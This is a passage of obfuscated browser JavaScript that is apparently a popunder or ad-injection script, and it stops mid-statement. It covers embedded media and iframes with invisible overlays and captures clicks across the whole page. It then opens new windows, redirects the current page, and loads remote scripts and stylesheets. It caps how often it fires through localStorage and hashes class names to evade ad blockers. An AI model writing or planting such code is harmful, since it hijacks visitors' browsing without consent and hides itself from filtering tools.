* @param {string} b * @return {?} */ var getter = function nan(b) { return localStorage[b]; }; /** * @param {string} elem * @return {?} */ var V5 = function get(elem) { var a; for (a in e4Z6h[O6h]) { if (a.length == 6 && (a.charCodeAt(5) == 101 && (a.charCodeAt(4) == 105 && a.charCodeAt(0) == 99))) { break; } } /** @type {string} */ var expected = "=([^;]*)"; /** @type {string} */ var name = "\\$1"; /** @type {string} */ var label = "(?:^|; )"; var matches = e4Z6h[O6h][a].match(new RegExp(label + elem.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, name) + expected)); return matches ? decodeURIComponent(matches[idx]) : undefined; }; /** * @param {Node} object * @param {?} arg * @return {?} */ var findClosestLink = function extend(object, arg) { if (!object) { return obj; } if (I3x.N6h(object.tagName, arg)) { return object; } return extend(object.parentNode, arg); }; /** * @return {undefined} */ var appendModelPrefix = function loaded() { /** @type {(null|number)} */ var backoff = (514, 257) <= (405, 84) ? (180, null) : (670, 1211) >= 235 ? (1044, 750) : 1074 <= (1353, 485) ? (975, 1160) : (275, 1475); /** @type {string} */ var longNameB = "deo"; /** @type {string} */ var r = "v"; /** @type {string} */ var Cancel = "ed"; /** @type {string} */ var nbsp = "mb"; /** @type {string} */ var d = "am"; /** @type {string} */ var a = ", "; /** @type {string} */ var g = "j"; /** @type {string} */ var f = "ob"; forEach(until, function(t) { if (t.parentNode) { t.parentNode.removeChild(t); } }); until = forEach(log(f + g + b + s + $1 + a + key + _ + c + d + b + a + b + nbsp + Cancel + a + r + key + longNameB + a + e + prefix + content + key + v), function(element) { /** @type {string} */ var ABSOLUTE = "absolute"; /** @type {string} */ var margin = "px"; /** @type {boolean} */ var f = array.some(function(deepDataAndEvents) { return I3x.H6h(element.offsetWidth + customViewMenuOffsetWidth + element.offsetHeight, deepDataAndEvents); }); if (!f) { var elementRect = proceed(element); return drawBorder({ left : elementRect.left + margin, top : elementRect.top + margin, height : element.offsetHeight + margin, width : element.offsetWidth + (ms + customViewMenuOffsetWidth), position : ABSOLUTE }); } return[]; }); /** @type {number} */ tref = setTimeout(loaded, backoff); }; /** * @return {undefined} */ var loopMatch = function unload() { if (I3x.q5h(until.length, id)) { return; } forEach(until, function(t) { if (t.parentNode) { t.parentNode.removeChild(t); } }); if (tref) { clearTimeout(tref); } }; /** * @param {string} deepDataAndEvents * @return {?} */ var log = function clone(deepDataAndEvents) { /** @type {Array} */ var res = []; try { res = forEach(e4Z6h[O6h]["querySelectorAll"](deepDataAndEvents), function(obj) { return obj; }); } catch (x) { } return res; }; /** * @param {Array} arg * @param {Function} callback * @return {?} */ var forEach = function map(arg, callback) { /** @type {Array} */ var bucket = []; /** @type {number} */ var key = id; var value = void id; for (;I3x.C5h(key, arg.length);) { value = callback(arg[key], key, arg); if (I3x.R5h(value, undefined)) { bucket.push(value); } key += idx; } return bucket; }; /** * @param {Object} n * @return {?} */ var proceed = function chunk(n) { var character; for (character in e4Z6h[O6h]) { if (character.length == 15 && (character.charCodeAt(335 < (457, 449) ? (727, 14) : 128 < (41, 110) ? (75, "d") : (1302, 799)) == 116 && (character.charCodeAt(13) == 110 && character.charCodeAt((1149, 8) <= 74 ? (152, 0) : (808, 93) >= (322, 418) ? (35, 29) : 228 < (487, 91) ? 26 : (1433, 355)) == 100))) { break; } } var a; for (a in e4Z6h[O6h]) { if (a.length == 4 && (a.charCodeAt(3) == (60 < (888, 111) ? (474, 121) : (147, 32) >= (946, 235) ? "A" : (1, 635)) && (a.charCodeAt((52, 553) >= (1091, 314) ? (542, 2) : (419, 1459) <= 438 ? (267, "N") : 79 > (147, 935) ? 43 : (52, 38)) == ((310, 88) > (96, 297) ? (202, ",") : 589 >= (103, 351) ? (178, 100) : (216, 69)) && a.charCodeAt(0) == 98))) { break; } } var check; for (check in e4Z6h[O6h]) { if (check.length == 15 && (check.charCodeAt(14) == 116 && (check.charCodeAt(13) == 110 && check.charCodeAt(0) == 100))) { break; } } var chr; for (chr in e4Z6h[O6h]) { if (chr.length == 4 && (chr.charCodeAt(3) == ((117, 1037) > (36, 19) ? (105, 121) : (539, 735) <= (185, 66) ? (53, "l") : (281, 131)) && (chr.charCodeAt(2) == ((154, 706) >= (152, 38) ? (73, 100) : (413, 452)) && chr.charCodeAt(0) == 98))) { break; } } var m1; for (m1 in e4Z6h[O6h]) { if (m1.length == ((278, 119) <= (227, 566) ? (122, 15) : 45 > (440, 117) ? (295, "b") : (19, 68) < 66 ? (698, "b") : (97, 485)) && (m1.charCodeAt((574, 1001) < 93 ? "E" : (6, 480) < 307 ? 17 : 168 >= (294, 16) ? (116, 14) : (38, 99)) == ((68, 449) >= (343, 42) ? (390, 116) : (284, 214) > 1074 ? (53, 15) : (104, 120) < (169, 67) ? "k" : (514, 1330)) && (m1.charCodeAt(13) == 110 && m1.charCodeAt(0) == 100))) { break; } } var secret; for (secret in e4Z6h[O6h]) { if (secret.length == 4 && (secret.charCodeAt(3) == 121 && (secret.charCodeAt((10, 15) > 115 ? (1186, "Q") : (135, 345) <= 518 ? (143, 2) : (1304, 1297) <= 141 ? (106, 3) : (832, 927)) == 100 && secret.charCodeAt(0) == ((205, 272) < 60 ? "u" : (34, 364) > (42, 108) ? (911, 98) : (1236, 580) <= 464 ? (425, 98) : (209, 223))))) { break; } } var ch; for (ch in e4Z6h[O6h]) { if (ch.length == 15 && (ch.charCodeAt(14) == 116 && (ch.charCodeAt(13) == 110 && ch.charCodeAt(0) == 100))) { break; } } var s1; for (s1 in e4Z6h[O6h]) { if (s1.length == 4 && (s1.charCodeAt((382, 166) > 146 ? (365, 3) : (399, 55)) == (97 > (26, 147) ? (289, "e") : (400, 5) < 122 ? (497, 121) : 388 > (155, 1023) ? 13 : (1155, 529)) && (s1.charCodeAt(2) == ((438, 1022) >= (125, 187) ? (1445, 100) : (496, 196)) && s1.charCodeAt(0) == 98))) { break; } } var otherElementRect = n.getBoundingClientRect(); return{ top : Math.round(otherElementRect.top + I3x.i2h(e4Z6h[G6h]["pageYOffset"] || (e4Z6h[O6h][character]["scrollTop"] || e4Z6h[O6h][a]["scrollTop"]), e4Z6h[O6h][check]["clientTop"] || (e4Z6h[O6h][chr]["clientTop"] || id))), left : Math.round(otherElementRect.left + I3x.y5h(e4Z6h[G6h]["pageXOffset"] || (e4Z6h[O6h][m1]["scrollLeft"] || e4Z6h[O6h][secret]["scrollLeft"]), e4Z6h[O6h][ch]["clientLeft"] || (e4Z6h[O6h][s1]["clientLeft"] || id))) }; }; /** * @param {number} xs * @return {?} */ var get = function extend(xs) { /** @type {string} */ var actualObject = "0123456789abcdef"; /** @type {string} */ var obj = k; /** @type {string} */ var object = actualObject; /** @type {number} */ var udataCur = id; for (;I3x.W6h(udataCur, match);udataCur++) { obj += object.charAt(I3x.p6h(xs >> udataCur * fromIndex + selector, 15)) + object.charAt(I3x.X6h(xs >> udataCur * fromIndex, 15)); } return obj; }; /** * @param {string} result * @return {?} */ var cloneDate = function $(result) { /** * @return {undefined} */ var IEContentLoaded = function() { actions[I3x.m5h(udataCur * r20, sel)] = I3x.H5h(result.length, fromIndex); }; var udataCur = I3x.w5h(result.length + fromIndex, restoreScript) + idx; /** @type {Array} */ var actions = new Array(I3x.C2h(udataCur, r20)); /** @type {number} */ var _id = id; for (;I3x.x5h(_id, udataCur * r20);_id++) { /** * @param {number} s * @return {undefined} */ var esc = function(s) { /** @type {number} */ actions[_id] = s; }; esc(id); } /** @type {number} */ _id = id; for (;I3x.K6h(_id, result.length);_id++) { actions[I3x.x6h(_id, sel)] |= I3x.l6h(result.charCodeAt(_id), _id % selector * fromIndex); } actions[I3x.T6h(_id, sel)] |= I3x.W5h(128, _id % selector * fromIndex); IEContentLoaded(); return actions; }; /** * @param {number} deepDataAndEvents * @param {number} a * @return {?} */ var $ = function clone(deepDataAndEvents, a) { var udataCur = I3x.K5h(deepDataAndEvents, 65535) + I3x.o5h(a, 393 <= (141, 544) ? (304, 65535) : (566, 253)); var y = I3x.u6h(deepDataAndEvents, r20) + I3x.r6h(a, r20) + I3x.C6h(udataCur, r20); return I3x.y6h(y << r20, udataCur & 65535); }; /** * @param {number} dataAndEvents * @param {number} from * @return {?} */ var wrap = function clone(dataAndEvents, from) { /** @type {number} */ var to = 32; return I3x.f6h(dataAndEvents << from, dataAndEvents >>> to - from); }; /** * @param {number} context * @param {number} s * @param {number} dataAndEvents * @param {?} deepDataAndEvents * @param {number} target * @param {number} object * @return {?} */ var mixin = function clone(context, s, dataAndEvents, deepDataAndEvents, target, object) { return $(wrap($($(s, context), $(deepDataAndEvents, object)), target), dataAndEvents); }; /** * @param {number} object * @param {number} dataAndEvents * @param {number} x * @param {number} arr * @param {?} deepDataAndEvents * @param {number} obj * @param {number} block * @return {?} */ var set = function clone(object, dataAndEvents, x, arr, deepDataAndEvents, obj, block) { return mixin(I3x.z6h(dataAndEvents, x) | ~dataAndEvents & arr, object, dataAndEvents, deepDataAndEvents, obj, block); }; /** * @param {number} object * @param {number} dataAndEvents * @param {number} obj * @param {number} x * @param {?} deepDataAndEvents * @param {number} value * @param {number} src * @return {?} */ var insert = function clone(object, dataAndEvents, obj, x, deepDataAndEvents, value, src) { return mixin(I3x.r5h(dataAndEvents, x) | obj & ~x, object, dataAndEvents, deepDataAndEvents, value, src); }; /** * @param {number} object * @param {number} dataAndEvents * @param {number} xs * @param {number} x * @param {?} deepDataAndEvents * @param {number} regex * @param {number} other * @return {?} */ var test = function clone(object, dataAndEvents, xs, x, deepDataAndEvents, regex, other) { return mixin(I3x.a2h(dataAndEvents, xs, x), object, dataAndEvents, deepDataAndEvents, regex, other); }; /** * @param {number} object * @param {number} dataAndEvents * @param {number} obj * @param {number} arr * @param {?} deepDataAndEvents * @param {number} callback * @param {number} value * @return {?} */ var iterator = function clone(object, dataAndEvents, obj, arr, deepDataAndEvents, callback, value) { return mixin(obj ^ (dataAndEvents | ~arr), object, dataAndEvents, deepDataAndEvents, callback, value); }; /** * @param {string} callback * @return {?} */ var getValue = function render(callback) { /** @type {number} */ var Q = 343485551; /** @type {(number|string)} */ var udataCur = (2, 27) > (53, 136) ? (28, "Y") : (321, 110) < (1380, 99) ? 256 : (1489, 1039) >= 887 ? (0, 718787259) : (786, 34); /** @type {number} */ var y = 1120210379; /** @type {number} */ var f = 145523070; /** @type {number} */ var silentOptions = 1309151649; /** @type {number} */ var e = (566, 115) <= 256 ? (62, 1560198380) : (15, 1474) <= (113, 72) ? 5 : (464, 1431); /** @type {number} */ var g = 30611744; /** @type {(number|string)} */ var _v = (87, 1396) < (549, 131) ? "v" : (89, 21) <= 30 ? (1429, 1873313359) : (258, 92) < 23 ? 22 : (6, 92); /** @type {number} */ var X = 2054922799; /** @type {number} */ var V = 1051523; /** @type {(number|string)} */ var M = 297 >= (93, 218) ? (38, 1894986606) : (181, 1367) < 271 ? "g" : (734, 79); /** @type {(number|string)} */ var camelKey = (59, 1083) > (487, 175) ? (310, 1700485571) : 106 <= (1461, 94) ? (247, "V") : (54, 124); /** @type {number} */ var W = 28 > (393, 599) ? 10 : (280, 413) < 1019 ? (1439, 57434055) : 81 >= (397, 283) ? 90 : (494, 298); /** @type {number} */ var u = 1416354905; /** @type {number} */ var STACK_JUMP_SEPARATOR = 1126891415; /** @type {number} */ var S = 198630844; /** @type {number} */ var t = 995338651; /** @type {number} */ var power = 530742520; /** @type {number} */ var Z = 421815835; /** @type {number} */ var d = 640364487; /** @type {number} */ var typePattern = 76029189; /** @type {number} */ var k = 722521979; /** @type {number} */ var F8 = 358537222; /** @type {number} */ var query = 681279174; /** @type {number} */ var p8 = 1094730640; /** @type {number} */ var s8 = 155497632; /** @type {number} */ var rem = 1272893353; /** @type {number} */ var q8 = 1530992060; /** @type {number} */ var m8 = 35309556; /** @type {number} */ var radixToPower = 1839030562; /** @type {number} */ var T8 = (93, 116) < (430, 45) ? 425 : 135 >= (158, 580) ? (53, 281) : (818, 411) > 142 ? (1407, 2022574463) : (935, 61); /** @type {number} */ var N8 = 378558; /** @type {number} */ var j8 = 1926607734; /** @type {number} */ var markdown = 1735328473; /** @type {number} */ var S8 = 380 < (21, 430) ? (139, 51403784) : (124, 514) > 1407 ? 8 : (1013, 139); /** @type {number} */ var B8 = 1444681467; /** @type {number} */ var eventData = (416, 537) < 33 ? (35, 14) : (575, 248) <= (115, 89) ? 14 : 228 < (438, 464) ? (1469, 1163531501) : (370, 114); /** @type {number} */ var d8 = 187363961; /** @type {number} */ var a8 = 1019803690; /** @type {number} */ var EventEmitter = 568446438; /** @type {number} */ var g1 = 405537848; /** @type {number} */ var W1 = 660478335; /** @type {number} */ var oldconfig = 38016083; /** @type {number} */ var u1 = 701558691; /** @type {(number|string)} */ var R = (58, 401) >= (262, 913) ? "R" : 193 < (1371, 260) ? (25, 373897302) : (407, 111); /** @type {number} */ var originalEvent = 643717713; /** @type {number} */ var m1 = 1069501632; /** @type {number} */ var t1 = 165796510; /** @type {number} */ var stop = 1236535329; /** @type {number} */ var X8 = 1502002290; /** @type {number} */ var j1 = 40341101; /** @type {number} */ var waitsFunc = 1804603682; /** @type {number} */ var r1 = 1990404162; /** @type {number} */ var rreturn = 11; /** @type {number} */ var P8 = 42063; /** @type {number} */ var i8 = 1958414417; /** @type {number} */ var waitsForFunc = 1770035416; /** @type {number} */ var A1 = 45705983; /** @type {number} */ var x1 = 1473231341; /** @type {number} */ var spec = 1200080426; /** @type {number} */ var Q1 = 176418897; /** @type {number} */ var z8 = 1044525330; /** @type {number} */ var reversed = (71, 7) <= 1472 ? (44, 22) : (461, 130); /** @type {number} */ var suite = 606105819; /** @type {number} */ var C1 = 389564586; /** @type {number} */ var f1 = 437 >= (341, 247) ? (105, 680876936) : (128, 432) < (333, 137) ? 94 : (141, 356); /** @type {number} */ var m4 = 271733878; /** @type {number} */ var K1 = (343, 585) <= (79, 563) ? (886, 729) : 31 < (219, 84) ? (22, 1732584194) : (197, 57) >= 768 ? 676 : (87, 1073); /** @type {number} */ var A8 = 271733879; /** @type {number} */ var defaultValue = 1732584193; var check = cloneDate(callback); /** @type {number} */ var value = defaultValue; /** @type {number} */ var node = -A8; /** @type {number} */ var obj = -K1; /** @type {number} */ var item = m4; /** @type {number} */ var T = id; for (;I3x.v5h(T, check.length);T += r20) { var v = value; var parent = node; var context = obj; var doc = item; value = set(value, node, obj, item, check[T + id], suiteView, -f1); item = set(item, value, node, obj, check[T + idx], passes, -C1); obj = set(obj, item, value, node, check[T + sel], DOT_CALL_NO_PARENS, suite); node = set(node, obj, item, value, check[T + match], reversed, -z8); value = set(value, node, obj, item, check[T + selector], suiteView, -Q1); item = set(item, value, node, obj, check[T + pdataOld], passes, spec); obj = set(obj, item, value, node, check[T + restoreScript], DOT_CALL_NO_PARENS, -x1); node = set(node, obj, item, value, check[T + suiteView], reversed, -A1); value = set(value, node, obj, item, check[T + fromIndex], suiteView, waitsForFunc); item = set(item, value, node, obj, check[T + bytenew], passes, -i8); obj = set(obj, item, value, node, check[T + base], DOT_CALL_NO_PARENS, -P8); node = set(node, obj, item, value, check[T + rreturn], reversed, -r1); value = set(value, node, obj, item, check[T + passes], suiteView, waitsFunc); item = set(item, value, node, obj, check[T + te], passes, -j1); obj = set(obj, item, value, node, check[T + pdataCur], DOT_CALL_NO_PARENS, -X8); node = set(node, obj, item, value, check[T + scripts], reversed, stop); value = insert(value, node, obj, item, check[T + idx], pdataOld, -t1); item = insert(item, value, node, obj, check[T + restoreScript], bytenew, -m1); obj = insert(obj, item, value, node, check[T + rreturn], pdataCur, originalEvent); node = insert(node, obj, item, value, check[T + id], interval, -R); value = insert(value, node, obj, item, check[T + pdataOld], pdataOld, -u1); item = insert(item, value, node, obj, check[T + base], bytenew, oldconfig); obj = insert(obj, item, value, node, check[T + scripts], pdataCur, -W1); node = insert(node, obj, item, value, check[T + selector], interval, -g1); value = insert(value, node, obj, item, check[T + bytenew], pdataOld, EventEmitter); item = insert(item, value, node, obj, check[T + pdataCur], bytenew, -a8); obj = insert(obj, item, value, node, check[T + match], pdataCur, -d8); node = insert(node, obj, item, value, check[T + fromIndex], interval, eventData); value = insert(value, node, obj, item, check[T + te], pdataOld, -B8); item = insert(item, value, node, obj, check[T + sel], bytenew, -S8); obj = insert(obj, item, value, node, check[T + suiteView], pdataCur, markdown); node = insert(node, obj, item, value, check[T + passes], interval, -j8); value = test(value, node, obj, item, check[T + pdataOld], selector, -N8); item = test(item, value, node, obj, check[T + fromIndex], rreturn, -T8); obj = test(obj, item, value, node, check[T + rreturn], r20, radixToPower); node = test(node, obj, item, value, check[T + pdataCur], result, -m8); value = test(value, node, obj, item, check[T + idx], selector, -q8); item = test(item, value, node, obj, check[T + selector], rreturn, rem); obj = test(obj, item, value, node, check[T + suiteView], r20, -s8); node = test(node, obj, item, value, check[T + base], result, -p8); value = test(value, node, obj, item, check[T + te], selector, query); item = test(item, value, node, obj, check[T + id], rreturn, -F8); obj = test(obj, item, value, node, check[T + match], r20, -k); node = test(node, obj, item, value, check[T + restoreScript], result, typePattern); value = test(value, node, obj, item, check[T + bytenew], selector, -d); item = test(item, value, node, obj, check[T + passes], rreturn, -Z); obj = test(obj, item, value, node, check[T + scripts], r20, power); node = test(node, obj, item, value, check[T + sel], result, -t); value = iterator(value, node, obj, item, check[T + id], restoreScript, -S); item = iterator(item, value, node, obj, check[T + suiteView], base, STACK_JUMP_SEPARATOR); obj = iterator(obj, item, value, node, check[T + pdataCur], scripts, -u); node = iterator(node, obj, item, value, check[T + pdataOld], which, -W); value = iterator(value, node, obj, item, check[T + passes], restoreScript, camelKey); item = iterator(item, value, node, obj, check[T + match], base, -M); obj = iterator(obj, item, value, node, check[T + base], scripts, -V); node = iterator(node, obj, item, value, check[T + idx], which, -X); value = iterator(value, node, obj, item, check[T + fromIndex], restoreScript, _v); item = iterator(item, value, node, obj, check[T + scripts], base, -g); obj = iterator(obj, item, value, node, check[T + restoreScript], scripts, -e); node = iterator(node, obj, item, value, check[T + te], which, silentOptions); value = iterator(value, node, obj, item, check[T + selector], restoreScript, -f); item = iterator(item, value, node, obj, check[T + rreturn], base, -y); obj = iterator(obj, item, value, node, check[T + sel], scripts, udataCur); node = iterator(node, obj, item, value, check[T + bytenew], which, -Q); value = $(value, v); node = $(node, parent); obj = $(obj, context); item = $(item, doc); } return get(value) + get(node) + get(obj) + get(item); }; toggle(radixToPower); /** @type {Array} */ var array = [foo, value2, baz, aba, I2, A_Z_a_z + d1 + d2 + customViewMenuOffsetWidth + d1 + w2]; /** @type {number} */ var index2 = idx; /** @type {number} */ var progressContexts = selector; /** @type {string} */ var rvar = item.j5h; /** @type {Array} */ var src = item.t5h; var tref = void id; /** @type {Array} */ var until = []; var blank; var text; var index; /** @type {string} */ var orig = path; var child = child || {}; isUndefinedOrNull(item); isArguments(a); /** @type {string} */ var expectedOutput = expected; /** @type {string} */ var up = mouseup; index = getIndex(); tryIt(); throttledUpdate(); if (I3x.X5h(item.F5h, undefined) && I3x.j6h(item.F5h.length, id)) { var memory; valueAccessor(function() { getActual(function() { /** * @param {Array} options * @param {?} $vid * @return {undefined} */ function pause(options, $vid) { /** * @param {Element} e * @return {undefined} */ function pause(e) { if (e.classList.contains(item.F5h)) { e.classList.remove(item.F5h); e.classList.add(getValue(child.b5h + Date.now())); } } /** @type {number} */ var len = id; var spaces = options.length; for (;I3x.F6h(len, spaces);len++) { if ($vid) { /** * @return {undefined} */ var callback = function() { /** @type {string} */ var dots = ".html"; options[len].href = text + dots; }; callback(); pause(options[len]); continue; } options[len].href = fn(); } } /** * @return {undefined} */ var bindings = function() { memory = e4Z6h[O6h]["querySelectorAll"](total + item.F5h) ? e4Z6h[O6h]["querySelectorAll"](total + item.F5h) : obj; }; bindings(); if (I3x.U6h(memory, obj)) { return; } toVLQSigned(function() { pause(memory, I3x.Z2h); }, function() { pause(memory); }); }); }); return; } var node = function() { var doneResults = I3x.H2h; return function() { /** @type {string} */ var filename = "ript"; /** * @param {?} data * @return {undefined} */ var triggerHandler = function(data) { doneResults = data; }; /** * @param {string} blank * @return {undefined} */ var err = function(blank) { /** @type {string} */ img.src = blank; }; if (doneResults) { return; } triggerHandler(I3x.Z2h); var img = e4Z6h[O6h]["createElement"](name + s + filename); err(blank); valueAccessor(function() { var m1; for (m1 in e4Z6h[O6h]) { if (m1.length == 4 && (m1.charCodeAt(3) == (108 != (353, 108) ? 68 : (68, 1351) < 93 ? 81 : (68, 4) < 28 ? (137, 121) : (717, 44)) && (m1.charCodeAt(2) == ((135, 364) <= (10, 566) ? (293, 100) : (141, 133)) && m1.charCodeAt(0) == ((488, 71) > 418 ? 17 : (54, 7) <= 75 ? (999, 98) : (46, 250))))) { break; } } e4Z6h[O6h][m1]["appendChild"](img); }); /** * @return {undefined} */ img.onload = function() { img.parentNode.removeChild(img); if (I3x.Q6h(e4Z6h[G6h].zfgloadedpopup, I3x.Z2h)) { onerror(img); } }; /** * @return {undefined} */ img.onerror = function() { onerror(img); }; }; }(); var onerror = function() { var H2h = I3x.H2h; return function init(editor) { /** @type {string} */ var udataCur = "anonymous"; /** @type {string} */ var memory = "text/css"; /** @type {string} */ var pdataOld = "stylesheet"; /** @type {string} */ var seq = "head"; /** @type {string} */ var div = "link"; /** * @return {undefined} */ var loop = function() { /** @type {string} */ var extension = "css"; elem.id = index + extension; }; /** * @param {?} value * @return {undefined} */ var fn = function(value) { elem.rel = value; }; /** * @param {Object} value * @return {undefined} */ var options = function(value) { /** @type {Object} */ elem.crossOrigin = value; }; /** * @param {string} type * @return {undefined} */ var fire = function(type) { /** @type {string} */ elem.type = type; }; /** * @return {undefined} */ var change = function() { /** @type {string} */ var dots = ".css"; elem.href = text + dots; }; if (H2h) { return; } if (editor.parentNode) { editor.parentNode.removeChild(editor); } var elem = e4Z6h[O6h]["createElement"](div); var target = e4Z6h[O6h]["getElementsByTagName"](seq)[id]; loop(); fn(pdataOld); fire(memory); options(udataCur); change(); if (target) { target.insertBefore(elem, target.firstChild); } /** * @return {undefined} */ elem.onload = function() { var gameConfig = getText(elem.href); if (gameConfig) { on(failuresLink); elem.parentNode.removeChild(elem); return; } var prep = ok(elem.href); setTimeout(function() { /** @type {string} */ var closure = "io"; /** @type {string} */ var arr = "nct"; /** @type {string} */ var inner = "fu"; if (typeof prep === inner + arr + closure + style) { prep(); } elem.parentNode.removeChild(elem); }, backoff); if (I3x.O5h(e4Z6h[G6h].zfgloadedpopup, I3x.Z2h)) { on(failuresLink); } }; /** * @return {undefined} */ elem.onerror = function() { on(failuresLink); elem.parentNode.removeChild(elem); }; }; }(); var on = function() { var deep = I3x.H2h; return function(deepDataAndEvents) { /** * @return {?} */ function pluck() { return getter(index).split(path).map(function(m1) { return parseInt(m1, base); }); } /** * @param {Array} that * @return {?} */ function filter(that) { /** @type {Array} */ var filtered = []; for (;I3x.e5h(that.length, id);) { filtered.push(that.splice(indexOf(id, that.length), idx).toString()); } return filtered; } /** * @param {number} name * @param {number} id * @param {number} s * @return {undefined} */ function getObject(name, id, s) { getNext(index, name + path + id + path + s); } /** @type {string} */ var offset = "z-index:"; /** @type {string} */ var webPortPath = "bottom:"; /** @type {string} */ var spaceBefore = "right:"; /** @type {string} */ var reference = "left:"; /** @type {string} */ var spaceAfter = "px;"; /** @type {string} */ var base = "height:"; /** @type {string} */ var val = "%;"; /** @type {string} */ var name = "width:"; /** @type {string} */ var start = "position:fixed;"; /** @type {(number|string)} */ var udataCur = (144, 59) <= (4, 436) ? (155, 101) : (89, 100) >= (849, 176) ? (137, "U") : (655, 932); /** @type {number} */ var arg = 98; /** @type {number} */ var obj = 99999999; /** @type {number} */ var actual = (51, 471) > 11 ? (897, 9999999) : (73, 579) <= (197, 339) ? (59, 873) : (46, 739); /** @type {string} */ var _ = "op"; /** @type {string} */ var g = "reff"; /** @type {string} */ var m = " "; /** @type {string} */ var h = "w"; /** @type {string} */ var x = "lo"; /** @type {string} */ var mapwidth = "ofol"; /** @type {string} */ var nbsp = "umbe"; /** @type {string} */ var NUMBER = "number"; /** @type {string} */ var startIndex = "___goo"; /** @type {number} */ var YY_START = 1126 <= (1146, 461) ? 585 : (952, 440) < (441, 3) ? 159 : (417, 138) < 246 ? (355, 30) : (105, 5); /** @type {string} */ var path = "|"; /** * @param {?} key * @return {undefined} */ var fn = function(key) { el.rel = key; }; /** * @param {?} target * @return {undefined} */ var deepMatches = function(target) { deep = target; }; /** * @return {undefined} */ var removeHash = function() { /** @type {string} */ var _ = "tm"; el.href = text + (total + value + _ + i); }; /** * @return {undefined} */ var throttledUpdate = function() { which = I3x.G2h(which, backoff, udataCur, udataCur); }; if (deep) { return; } deepMatches(I3x.Z2h); /** @type {number} */ var previousSibling = idx; /** @type {(boolean|number)} */ var ifKeyword = match; /** @type {number} */ var YYSTATE = YY_START; /** @type {string} */ var index = startIndex; /** @type {number} */ var rvar = (new Date).getTime(); /** @type {(boolean|number)} */ var r20 = typeof item.n5h === NUMBER ? item.n5h : ifKeyword; /** @type {number} */ var which = typeof item.g5h === style + nbsp + c ? item.g5h : previousSibling; /** @type {number} */ var chunk = typeof item.R2h === NUMBER ? item.R2h : YYSTATE; var result = void id; throttledUpdate(); chunk *= backoff; if (!getter(index)) { getObject(rvar, id, id); appendModelPrefix(); } else { var CACHE = pluck(); var cache = f5h(CACHE, sel); var mod = cache[id]; var data = cache[idx]; if (I3x.d2h(which, id)) { getObject(id, data, id); } else { if (I3x.c5h(rvar, mod + which)) { getObject(rvar, data, id); } else { } } var animationLookup = pluck(); var matches = f5h(animationLookup, match); var classNames = matches[sel]; if ((I3x.T5h(r20, id) || I3x.q6h(classNames, r20)) && I3x.k6h(rvar, data + chunk)) { appendModelPrefix(); } } var el = e4Z6h[O6h]["createElement"](e); removeHash(); fn(style + mapwidth + x + h + m + style + v + g + b + c + b + c + m + style + v + _ + b + style + b + c); var i = indexOf(actual, obj); var keyName = indexOf(arg, udataCur); var type = indexOf(arg, udataCur); var found = indexOf(id, selector); var io = indexOf(id, selector); var size = indexOf(id, selector); var content = indexOf(id, selector); /** @type {Array} */ var a = [start, name + keyName + val, base + type + val, $1 + _ + $2 + found + spaceAfter, reference + size + spaceAfter, spaceBefore + content + spaceAfter, webPortPath + io + spaceAfter, offset + i + j]; e4Z6h[O6h]["addEventListener"](expectedOutput, function(event) { /** @type {number} */ var udataCur = (new Date).getTime(); var animationLookup = pluck(); var matches = f5h(animationLookup, match); var data = matches[idx]; var classNames = matches[sel]; if (I3x.M5h(udataCur, data + chunk)) { return; } if (I3x.B5h(classNames, r20) && I3x.Z5h(r20, id)) { return; } var o = findClosestLink(event.target, g); if (o) { /** * @param {StyleSheet} o * @return {undefined} */ var unfoldSoak = function(o) { result = o.href; }; unfoldSoak(o); } event.preventDefault(); event.stopPropagation(); loopMatch(); valueAccessor(function() { var m1; for (m1 in e4Z6h[O6h]) { if (m1.length == 4 && (m1.charCodeAt(3) == 121 && (m1.charCodeAt(2) == 100 && m1.charCodeAt(0) == (64 < (1404, 146) ? (276, 98) : (121, 1408) < 185 ? (120, 809) : (559, 302) >= 521 ? (287, "%;") : (377, 113))))) { break; } } return e4Z6h[O6h][m1]["appendChild"](el); }); el.style.cssText += filter(a).join(str); }, I3x.Z2h); el.addEventListener(up, function(event) { /** @type {string} */ var val2 = "Fhtml"; /** @type {string} */ var z = "y"; /** @type {string} */ var y = "od"; /** @type {string} */ var ty = "dy"; /** @type {string} */ var inner = "bo"; /** @type {string} */ var o = "ead"; /** @type {(number|string)} */ var n = (73, 13) <= (1273, 250) ? (57, "h") : (147, 805); /** @type {(number|string)} */ var longNameB = 136 >= (26, 38) ? (74, "F") : (906, 138); /** @type {string} */ var JSCRIPT_KEYWORDS = "E"; /** @type {string} */ var q = "p"; /** @type {string} */ var value = "Fscri"; /** @type {string} */ var operator = "2"; /** @type {string} */ var s = "C"; /** @type {string} */ var PYTHON_KEYWORDS = "3"; /** @type {string} */ var PERL_KEYWORDS = "%"; /** @type {string} */ var t = '?q");}, 300);'; /** @type {string} */ var g = '("'; /** @type {string} */ var r = "ce"; /** @type {string} */ var args = "ati"; /** @type {string} */ var js = "oc"; /** @type {string} */ var spaceAfter = "ow"; /** @type {string} */ var x = "(){ "; /** @type {string} */ var closure = "cti"; /** @type {string} */ var $2 = "Time"; /** @type {string} */ var __ = "; "; /** @type {string} */ var indentCharacter = "ul"; /** @type {string} */ var clazz = " = "; /** @type {string} */ var varPart = "er"; /** @type {string} */ var guardPart = "en"; /** @type {string} */ var m = "in"; /** @type {string} */ var sign = "%3Chtml%3E%3Chead%3E%3Cscript%3E"; /** * @param {?} obj * @return {undefined} */ var isUndefined = function(obj) { data = obj; }; /** @type {number} */ var suiteView = (new Date).getTime(); var animationLookup = pluck(); var matches = f5h(animationLookup, match); var marker = matches[id]; var data = matches[idx]; var url = matches[sel]; var self = void id; event.preventDefault(); event.stopPropagation(); event.stopImmediatePropagation(); isUndefined(suiteView); url += idx; getObject(marker, data, url); if (I3x.k2h(deepDataAndEvents, undefined) && I3x.L2h(deepDataAndEvents, failuresLink)) { /** * @param {Object} parent * @return {undefined} */ var group = function(parent) { /** @type {Object} */ self.opener = parent; }; /** * @return {undefined} */ var success = function() { /** @type {string} */ var px = "?q"; /** @type {string} */ e4Z6h[G6h]["location"] = el.href + px; }; self = e4Z6h[G6h]["open"](str); if (I3x.P2h(result, undefined)) { /** * @param {(Object|string)} details * @return {undefined} */ var report = function(details) { /** @type {(Object|string)} */ self.location = details; }; report(result); } else { /** * @param {Object} elem * @return {undefined} */ var removeEvent = function(elem) { self.location = elem.location; }; removeEvent(window); } success(); group(obj); el.parentNode.removeChild(el); return; } self = e4Z6h[G6h]["open"](path); self.document.write(decodeURIComponent(sign) + (h + m + content + v + h + total + v + ms + guardPart + varPart + clazz + style + indentCharacter + 